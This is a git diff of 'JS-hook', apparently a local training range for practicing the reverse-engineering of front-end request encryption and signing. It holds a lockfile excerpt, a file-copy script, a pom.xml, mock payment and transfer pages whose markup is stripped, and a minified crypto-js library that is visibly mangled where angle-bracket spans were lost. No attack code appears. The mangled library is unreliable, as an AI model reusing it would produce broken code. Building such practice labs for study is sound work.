"sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==", + "license": "MIT", + "dependencies": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT" + }, + "node_modules/send": { + "version": "0.19.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.19.0.tgz", + "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==", + "license": "MIT", + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/serve-static": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.2.tgz", + "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==", + "license": "MIT", + "dependencies": { + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.19.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "license": "ISC" + }, + "node_modules/side-channel": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", + "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3", + "side-channel-list": "^1.0.0", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz", + "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "license": "MIT", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/undici-types": { + "version": "7.8.0", + "resolved": "https://registry.npmmirror.com/undici-types/-/undici-types-7.8.0.tgz", + "integrity": "sha512-9UJ2xGDvQ43tYyVMpuHlsgApydB8ZKfVYTsLDhXkFL/6gfkp+U8xTGdh8pMJv1SpZna0zxG1DwsKZsreLbXBxw==", + "license": "MIT" + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "license": "MIT", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + } + } +} diff --git a/JS-hook/pages.js b/JS-hook/pages.js new file mode 100644 index 0000000..7763740 --- /dev/null +++ b/JS-hook/pages.js @@ -0,0 +1,41 @@ +const fs = require('fs'); +const path = require('path'); + +// 定义源文件夹和目标文件夹 +const sourceDir = path.join(__dirname, 'public'); +const targetDir = path.join(__dirname, 'dist'); + +// 确保目标文件夹存在 +if (!fs.existsSync(targetDir)) { + fs.mkdirSync(targetDir, { recursive: true }); +} + +// 递归复制文件夹内容 +function copyFolderRecursive(source, target) { + // 读取源文件夹内容 + const files = fs.readdirSync(source); + + for (const file of files) { + const sourcePath = path.join(source, file); + const targetPath = path.join(target, file); + + // 判断是文件还是文件夹 + const stat = fs.statSync(sourcePath); + if (stat.isDirectory()) { + // 如果是文件夹,递归复制 + if (!fs.existsSync(targetPath)) { + fs.mkdirSync(targetPath, { recursive: true }); + } + copyFolderRecursive(sourcePath, targetPath); + } else { + // 如果是文件,直接复制 + fs.copyFileSync(sourcePath, targetPath); + console.log(`Copied: ${sourcePath} -> ${targetPath}`); + } + } +} + +// 执行复制 +copyFolderRecursive(sourceDir, targetDir); +copyFolderRecursive("fake-api-server", targetDir); +console.log('All files copied from public to dist!'); diff --git a/JS-hook/pom.xml b/JS-hook/pom.xml new file mode 100644 index 0000000..a4cad30 --- /dev/null +++ b/JS-hook/pom.xml @@ -0,0 +1,86 @@ + + + 4.0.0 + + com.myapp + js-hook + 1.0-SNAPSHOT + + + 1.8 + 3.25.3 + UTF-8 + UTF-8 + UTF-8 + + + + org.springframework.boot + spring-boot-starter-parent + 2.6.6 + + + + + org.springframework.boot + spring-boot-starter-web + + + org.springframework.boot + spring-boot-starter-jdbc + + + org.xerial + sqlite-jdbc + 3.46.1.3 + + + com.google.protobuf + protobuf-java + ${protobuf.version} + + + + + + + kr.motd.maven + os-maven-plugin + 1.7.1 + + + + + org.springframework.boot + spring-boot-maven-plugin + + + org.xolstice.maven.plugins + protobuf-maven-plugin + 0.6.1 + + com.google.protobuf:protoc:${protobuf.version}:exe:${os.detected.classifier} + + + + + compile + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.10.1 + + 1.8 + 1.8 + ${maven.compiler.encoding} + + + + + diff --git a/JS-hook/public/bidirectional-hex-encrypt.html b/JS-hook/public/bidirectional-hex-encrypt.html new file mode 100644 index 0000000..2c19479 --- /dev/null +++ b/JS-hook/public/bidirectional-hex-encrypt.html @@ -0,0 +1,828 @@ + + + + + + Bidirectional Hex Encryption + + + + + +
+
+

超级安全通信系统

+

Bidirectional Hex Encryption Case - 双向十六进制加密通信

+
+ +
+

🔐 选择安全操作

+ +
+
+ 💰 +

资金转账

+

执行高安全级别的资金转账操作,包含完整的加密验证流程

+
+
+ 📋 +

合同签署

+

提交重要合同文件,使用双向加密确保文档安全性

+
+
+ 🔍 +

安全审计

+

执行系统安全审计,获取加密的审计报告和建议

+
+
+ 💾 +

数据备份

+

创建重要数据的安全备份,确保数据完整性和机密性

+
+
+ + +
+

💰 资金转账操作

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+

📋 合同签署操作

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+

🔍 安全审计操作

+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+

💾 数据备份操作

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+ +
+ +
+ + + + diff --git a/JS-hook/public/bidirectional-protobuf.html b/JS-hook/public/bidirectional-protobuf.html new file mode 100644 index 0000000..3a3d0ba --- /dev/null +++ b/JS-hook/public/bidirectional-protobuf.html @@ -0,0 +1,1145 @@ + + + + + + Bidirectional Protocol Buffers + + + + + +
+
+

企业级微服务平台

+

Bidirectional Protocol Buffers Case - 双向高效二进制通信

+
+ +
+

🚀 选择微服务

+ +
+
+ 👥 +

用户管理服务

+

处理用户注册、登录、权限管理等核心用户功能

+
+
+ 📦 +

订单处理服务

+

处理订单创建、支付、物流跟踪等电商核心业务

+
+
+ 📊 +

数据分析服务

+

提供实时数据分析、报表生成、业务洞察等功能

+
+
+ 🔔 +

通知服务

+

处理邮件、短信、推送等多渠道消息通知

+
+
+ + +
+

👥 用户管理服务

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

📦 订单处理服务

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

📊 数据分析服务

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

🔔 通知服务

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+ +
+ +
+ + + + diff --git a/JS-hook/public/form-body-encrypt.html b/JS-hook/public/form-body-encrypt.html new file mode 100644 index 0000000..8214bf0 --- /dev/null +++ b/JS-hook/public/form-body-encrypt.html @@ -0,0 +1,275 @@ + + + + + + Form Body Parameter Encryption + + + + + + + + + + diff --git a/JS-hook/public/header-sign.html b/JS-hook/public/header-sign.html new file mode 100644 index 0000000..a0d0004 --- /dev/null +++ b/JS-hook/public/header-sign.html @@ -0,0 +1,906 @@ + + + + + + Request Header Signing + + + + + +
+
+

API安全认证平台

+

Request Header Signing Case - 请求头签名验证

+
+ +
+

🔐 选择API接口

+ +
+
+ 💳 +

支付接口

+

处理支付请求,需要高级别的安全验证和签名保护

+
+
+ 💸 +

转账接口

+

银行转账操作,要求严格的身份验证和请求完整性

+
+
+ 🔒 +

敏感数据接口

+

访问敏感信息,需要多重安全验证和访问控制

+
+
+ ⚙️ +

管理员接口

+

系统管理操作,需要最高级别的权限验证和审计

+
+
+ + +
+

💳 支付接口

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

💸 转账接口

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+

🔒 敏感数据接口

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

⚙️ 管理员接口

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+ +
+ +
+ + + + diff --git a/JS-hook/public/hex-body-encrypt.html b/JS-hook/public/hex-body-encrypt.html new file mode 100644 index 0000000..be6cd4b --- /dev/null +++ b/JS-hook/public/hex-body-encrypt.html @@ -0,0 +1,432 @@ + + + + + + Hex Body Encryption + + + + + +
+
+

数据安全传输

+

Hex Body Encryption Case - 整个请求体十六进制加密

+
+ +
+

🔐 安全数据提交表单

+ +
+
+
+ + +
+
+ + +
+
+ +
+
+ + +
+
+ + +
+
+ +
+
+ + +
+
+ + +
+
+ +
+ + +
+ +
+
+ + +
+
+ + +
+
+ + +
+
+ + + +
+ + + + diff --git a/JS-hook/public/hex-response-decrypt.html b/JS-hook/public/hex-response-decrypt.html new file mode 100644 index 0000000..83b11cb --- /dev/null +++ b/JS-hook/public/hex-response-decrypt.html @@ -0,0 +1,542 @@ + + + + + + Hex Response Decryption + + + + + +
+
+

机密数据查询系统

+

Hex Response Decryption Case - 整个响应体十六进制解密

+
+ +
+

🔍 选择查询类型

+ +
+
+

💰 财务报表

+

查询公司财务数据和报表信息

+
+
+

👥 员工信息

+

查询员工详细信息和薪资数据

+
+
+

🏢 客户资料

+

查询客户信息和交易记录

+
+
+

📊 项目数据

+

查询项目进度和预算信息

+
+
+ + +
+ +
+ +
+ + + + diff --git a/JS-hook/public/index.html b/JS-hook/public/index.html new file mode 100644 index 0000000..9fdaf35 --- /dev/null +++ b/JS-hook/public/index.html @@ -0,0 +1,50 @@ + + + + + + 前端协议拆解训练场 - 旧入口说明 + + + +
+

这个 `public` 入口已切换为说明页

+

+ 当前推荐使用 Spring Boot 版本入口访问靶场。统一首页位于 `http://localhost:8080/`, + 题库总入口位于 `http://localhost:8080/js-labs.html`。后续新增题目也会优先维护 Spring Boot 版本。 +

+ +
+ + diff --git a/JS-hook/public/interceptor-encryption.html b/JS-hook/public/interceptor-encryption.html new file mode 100644 index 0000000..ba0e44e --- /dev/null +++ b/JS-hook/public/interceptor-encryption.html @@ -0,0 +1,790 @@ + + + + + + Interceptor Encryption + + + + + +
+
+

企业数据中心

+

Interceptor Encryption Case - 拦截器自动签名加密

+
+ +
+

🔄 API请求拦截器控制台

+ +
+ 🛡️ 拦截器状态: 已启用 - 自动为所有请求添加签名参数 +
+ +
+
+ + + + +
+
+ + + +
+
+ +
+
+ 拦截器状态: + 已启用 +
+
+ 总请求数: + 0 +
+
+ 成功请求: + 0 +
+
+ 失败请求: + 0 +
+
+ 签名验证率: + 100% +
+
+ +

📡 API服务列表

+
+
+ 👥 +

用户服务

+

用户信息查询和管理

+
待请求
+
+
+ 📦 +

订单服务

+

订单创建和状态查询

+
待请求
+
+
+ 💳 +

支付服务

+

支付处理和账单管理

+
待请求
+
+
+ 📊 +

库存服务

+

商品库存和仓储管理

+
待请求
+
+
+ 📈 +

分析服务

+

数据分析和报表生成

+
待请求
+
+
+ 🔔 +

通知服务

+

消息推送和通知管理

+
待请求
+
+
+
+ +
+

📋 请求日志

+
+
+ 系统初始化完成 - 拦截器已就绪,等待API请求... +
+
+
+ + +
+ + + + diff --git a/JS-hook/public/json-body-field-encrypt.html b/JS-hook/public/json-body-field-encrypt.html new file mode 100644 index 0000000..b87060c --- /dev/null +++ b/JS-hook/public/json-body-field-encrypt.html @@ -0,0 +1,343 @@ + + + + + + JSON Body Field Encryption + + + + + +
+
+

用户信息提交

+

JSON Body Field Encryption Case - 敏感字段加密传输

+
+ +
+
+
+ + +
+
+ + +
+
+ +
+
+ + +
+
+ + +
+
+ +
+
+ + +
+
+ + +
+
+ +
+ + +
+ +
+ + +
+ + +
+ + + +
+ + + + diff --git a/JS-hook/public/libs/crypto-js-4.1.1.min.js b/JS-hook/public/libs/crypto-js-4.1.1.min.js new file mode 100644 index 0000000..20b3099 --- /dev/null +++ b/JS-hook/public/libs/crypto-js-4.1.1.min.js @@ -0,0 +1 @@ +!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U||function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create||function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},l=n.WordArray=o.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||c).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(var c=0;c>>2]=r[c>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=h.ceil(e/4)},clone:function(){var t=o.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new l.init(r,e/2)}},a=s.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new l.init(r,e)}},f=s.Utf8={stringify:function(t){try{return decodeURIComponent(escape(a.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return a.parse(unescape(encodeURIComponent(t)))}},d=n.BufferedBlockAlgorithm=o.extend({reset:function(){this._data=new l.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4*o),c=(s=t?h.ceil(s):h.max((0|s)-this._minBufferSize,0))*o,n=h.min(4*c,n);if(c){for(var a=0;a>>32-e}function j(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)?(r=t>>8&255,i=255&t,255===(e=t>>16&255)?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i):t+=1<<24,t}function N(){for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;R[r]=((n*n>>>17)+n*o>>>15)+o*o^((4294901760&i)*i|0)+((65535&i)*i|0)}t[0]=R[0]+(R[7]<<16|R[7]>>>16)+(R[6]<<16|R[6]>>>16)|0,t[1]=R[1]+(R[0]<<8|R[0]>>>24)+R[7]|0,t[2]=R[2]+(R[1]<<16|R[1]>>>16)+(R[0]<<16|R[0]>>>16)|0,t[3]=R[3]+(R[2]<<8|R[2]>>>24)+R[1]|0,t[4]=R[4]+(R[3]<<16|R[3]>>>16)+(R[2]<<16|R[2]>>>16)|0,t[5]=R[5]+(R[4]<<8|R[4]>>>24)+R[3]|0,t[6]=R[6]+(R[5]<<16|R[5]>>>16)+(R[4]<<16|R[4]>>>16)|0,t[7]=R[7]+(R[6]<<8|R[6]>>>24)+R[5]|0}function q(){for(var t=this._X,e=this._C,r=0;r<8;r++)O[r]=e[r];e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((n*n>>>17)+n*o>>>15)+o*o^((4294901760&i)*i|0)+((65535&i)*i|0)}t[0]=I[0]+(I[7]<<16|I[7]>>>16)+(I[6]<<16|I[6]>>>16)|0,t[1]=I[1]+(I[0]<<8|I[0]>>>24)+I[7]|0,t[2]=I[2]+(I[1]<<16|I[1]>>>16)+(I[0]<<16|I[0]>>>16)|0,t[3]=I[3]+(I[2]<<8|I[2]>>>24)+I[1]|0,t[4]=I[4]+(I[3]<<16|I[3]>>>16)+(I[2]<<16|I[2]>>>16)|0,t[5]=I[5]+(I[4]<<8|I[4]>>>24)+I[3]|0,t[6]=I[6]+(I[5]<<16|I[5]>>>16)+(I[4]<<16|I[4]>>>16)|0,t[7]=I[7]+(I[6]<<8|I[6]>>>24)+I[5]|0}return F=(M=U).lib,n=F.Base,o=F.WordArray,(M=M.x64={}).Word=n.extend({init:function(t,e){this.high=t,this.low=e}}),M.WordArray=n.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:8*t.length},toX32:function(){for(var t=this.words,e=t.length,r=[],i=0;i>>2]|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>1]|=t.charCodeAt(i)<<16-i%2*16;return n.create(r,2*e)}};function s(t){return t<<8&4278255360|t>>>8&16711935}t.Utf16LE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535);i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>1]|=s(t.charCodeAt(i)<<16-i%2*16);return n.create(r,2*e)}}}(),a=(w=U).lib.WordArray,w.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(t){var e=t.length,r=this._map;if(!(i=this._reverseMap))for(var i=this._reverseMap=[],n=0;n>>6-o%4*2,c=s|c,i[n>>>2]|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},h=(F=U).lib.WordArray,F.enc.Base64url={stringify:function(t,e=!0){var r=t.words,i=t.sigBytes,n=e?this._safe_map:this._map;t.clamp();for(var o=[],s=0;s>>2]>>>24-s%4*8&255)<<16|(r[s+1>>>2]>>>24-(s+1)%4*8&255)<<8|r[s+2>>>2]>>>24-(s+2)%4*8&255,a=0;a<4&&s+.75*a>>6*(3-a)&63));var h=n.charAt(64);if(h)for(;o.length%4;)o.push(h);return o.join("")},parse:function(t,e=!0){var r=t.length,i=e?this._safe_map:this._map;if(!(n=this._reverseMap))for(var n=this._reverseMap=[],o=0;o>>6-o%4*2,c=s|c,i[n>>>2]|=c<<24-n%4*8,n++)}return h.create(i,n)}(t,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",_safe_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"},function(a){var t=U,e=t.lib,r=e.WordArray,i=e.Hasher,e=t.algo,A=[];!function(){for(var t=0;t<64;t++)A[t]=4294967296*a.abs(a.sin(t+1))|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var 